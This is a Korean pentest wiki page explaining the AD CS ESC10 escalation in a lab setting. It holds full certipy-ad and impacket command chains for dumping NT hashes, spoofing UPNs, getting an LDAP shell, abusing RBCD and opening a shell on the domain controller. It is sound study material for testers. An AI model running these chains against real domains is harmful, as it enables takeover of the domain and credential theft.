펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • GenericAll
        • Inherited GenericAll
        • WriteOwner
        • GenericWrite
        • WriteProperty
        • WriteSPN
        • AddMembers
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
        • Restore-ADObject
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • Domain Trust
    • Active Directory Trusts
    • Two-way Domain Trust
    • One-way Domain Trust
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
    • Home Lab
Powered by GitBook
On this page

Was this helpful?

Export as PDF
  1. 권한 상승
  2. Active Directory
  3. AD CS

ESC10

ESC9와 ESC10을 이해하기 위해선 다음과 같은 내용을 알아둬야 합니다.

속성
내용

szOID_NTDS_CA_SECURITY_EXT

요청자의 objectSid를 포함하며 AD에서 고유한 식별자

StrongCertificateBindingEnforcement

Kerberos 암시적 매핑에 사용되는 레지스트리 키

CertificateMappingMethods

Schannel 암시적 매핑에 사용되는 레지스트리 키

Kerberos 인증 시, 인증서 매핑 프로세스는 StrongCertificateBindingEnforcement 레지스트리 키를 참조하며, 이 키는 세가지 값으로 설정될 수 있습니다.

값
모드
내용

0

비활성화 모드

강력한 인증서 매핑이 수행되지 않습니다. szOID_NTDS_CA_SECURITY_EXT 확장은 확인되지 않습니다.

1

호환 모드(기본값)

KDC는 명시적 인증서 매핑이 있는지 확인하고, 없으면 인증서 보안 확장이 존재하고 유효한지 검사합니다. 보안 확장이 없으면, 사용자 계정이 인증서보다 먼저 생성된 경우 인증이 허용될 수 있습니다.

2

완전 시행 모드

KDC는 명시적 인증서 매핑이 있는지 확인하고, 없으면 인증서 보안 확장이 존재하고 유효한지 검사합니다. 보안 확장이 없으면 인증이 거부됩니다.

ESC9이 Kerberos 인증 시 잘못된 레지스트리 키 설정으로 인해 발생한 취약점이라면 ESC10은 Schannel 인증 시 잘못된 레지스트리 키 설정으로 인해 비롯되는 취약점입니다.

Kerberos 인증 시의 취약점입니다. 이 경우 StrongCertificateBindingEnforcement 레지스트리 키가 0으로 설정된 것을 이용합니다. 이 값은 Microsoft 2023년 4월 업데이트가 설치되지 않은 경우에 설정되어 있으며, 그 외의 경우에는 기본 값인 1에서 0으로 변경 시에만 공격에 적용 가능합니다.

악용 조건

  • StrongCertificateBindingEnforcement 키 값이 0으로 설정

  • 클라이언트 인증이 활성화된 템플릿 존재 (내장 템플릿 User 등)

  • 공격자가 계정 A에 대한 GenericWrite 권한 보유

일반적으로 낮은 권한의 사용자는 레지스트리의 키 값을 읽을 권한이 없기 때문에 외부에서 ESC10에 취약한지 판별하기는 어렵습니다. 다만 실습의 경우 impacket-reg를 이용하여 판별하며, 외부자 관점 공격 시에는 공격의 성공 여부에 따라 해당 사용자의 레지스트리 키 값을 유추할 수 있습니다.

┌──(root㉿kali)-[~/pentest/htb]
└─# impacket-reg 'lab/Administrator:Password123!@10.129.228.236' query -keyName 'HKLM\SYSTEM\CurrentControlSet\Services\Kdc'
...
        StrongCertificateBindingEnforcement     REG_DWORD        0x0
...
[-] SCMR SessionError: code: 0x41b - ERROR_DEPENDENT_SERVICES_RUNNING - A stop control has been sent to a service that other running services are dependent on.
취약한 것이 확인되었으면 이후 과정은 과 유사합니다.
# User 계정의 권한으로 User 2 계정의 NT Hash를 덤핑
certipy-ad shadow auto -u <USER> -p <PASS> -account <USER 2> -dc-ip <dc-ip>

# User 계정의 권한으로 User 2 계정의 UPN을 도메인 관리자로 변경 ( 반드시 소문자 )
certipy-ad account update -u <USER> -p <PASS> -user <USER 2> -upn administrator@wiki.local -dc-ip <dc-ip>

# Administrator의 자격을 갖게된 User 2의 TGT 요청
certipy-ad req -u <USER 2> -hashes <USER 2 Hash> -ca <CA> -template <Template> -dc-ip <dc-ip>

# User2의 UPN을 복구
certipy-ad account update -u <USER> -p <PASS> -user <USER 2> -upn <USER 2> -dc-ip <dc-ip>

# User 2의 인증서를 통한 Administrator NT Hash 덤핑
certipy-ad auth -pfx <PFX> -domain <Domain> 

Schannel을 통한 권한 상승을 위해서 다음 조건이 선행되어야 합니다.

악용 조건

  • CertificateMappingMethods 레지스트리 키가 0x4로 설정

  • Client Authentication이 가능한 템플릿 활성화(User 템플릿 등)

  • 다른 계정에 대해 GenericWrite 이상의 권한을 소유

# CertificateMappingMethods 레지스트리 키 값 조회
┌──(root㉿kali)-[~/pentest/htb]
└─# impacket-reg 'lab/Administrator:Password123!@10.129.228.236' query -keyName 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL'
...
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL
        EventLogging    REG_DWORD        0x1
        CertificateMappingMethods       REG_DWORD        0x4
...
[-] SCMR SessionError: code: 0x41b - ERROR_DEPENDENT_SERVICES_RUNNING - A stop control has been sent to a service that other running services are dependent on.

이전 케이스와 마찬가지로, 일반 사용자로는 레지스트리 키 값을 직접 조회할 수 없습니다. 높은 권한이 있다면 impacket-reg를 통해서 레지스트리 키 값을 확인할 수 있지만, 침투자의 관점에서 볼 때는 공격의 성공 여부에 따라 키 값을 유추할 수 있습니다.

이 레지스트리 키는 Schannel 인증 방식을 사용하기 때문에, PKINIT 방식으로는 인증서를 사용할 수 없습니다. 이를 위해 Certipy-ad의 -ldap-shell 파라미터를 사용하여 Schannel을 이용해 인증 후 LDAP 쉘을 획득할 수 있으며, 이후 다양한 공격 수행이 가능합니다. 예를 들어서 새로운 머신 계정을 생성 후 제약된 위임을 하여 RBCD를 통한 권한 상승이 가능합니다.

# User 계정의 권한으로 User 2 계정의 UPN을 DC 머신 계정으로 변경
certipy-ad account update -u <USER> -p <PASS> -user <USER 2> -upn <DC@Domain> -dc-ip <dc-ip>

# DC 머신 계정의 UPN으로 변경된 User 2 계정의 권한으로 인증서 발급
certipy-ad req -u <USER> -p <PASS> -ca <CA> -template User -dc-ip <dc-ip>

# User 2 계정의 UPN을 원상복구
certipy-ad account update -u <USER> -p <PASS> -user <USER 2> -upn <USER 2@Domain> -dc-ip <dc-ip>

# 발급한 DC 머신 계정의 PFX 파일을 통해 LDAP 쉘 획득
certipy-ad auth -pfx <PFX File> -domain <Domain> -dc-ip <dc-ip> -ldap-shell

# 획득한 쉘에서 RBCD 공격을 위한 머신 계정 생성
add_computer <New USER> <New PASS>

# DC 머신을 가장할 수 있는 권한을 생성한 머신에 위임(Constrained Delegation)
set_rbcd <DC Machine> <New Machine>

# Constrained Delegation을 이용하여 Administrator 서비스 티켓 발급
impacket-getST -spn cifs/<DC FQDN> -impersonate Administrator -dc-ip <dc-ip> <domain/USER:PASS>

# 생성된 티켓을 환경 변수로 지정
export KRB5CCNAME=Administrator.ccache

# 발급한 서비스 티켓을 통한 윈도우 CMD쉘 획득
impacket-wmiexec -k -no-pass <DC FQDN>

References

PreviousESC9NextESC11

Last updated 1 month ago

Was this helpful?

https://academy.hackthebox.com/module/236/section/2543academy.hackthebox.com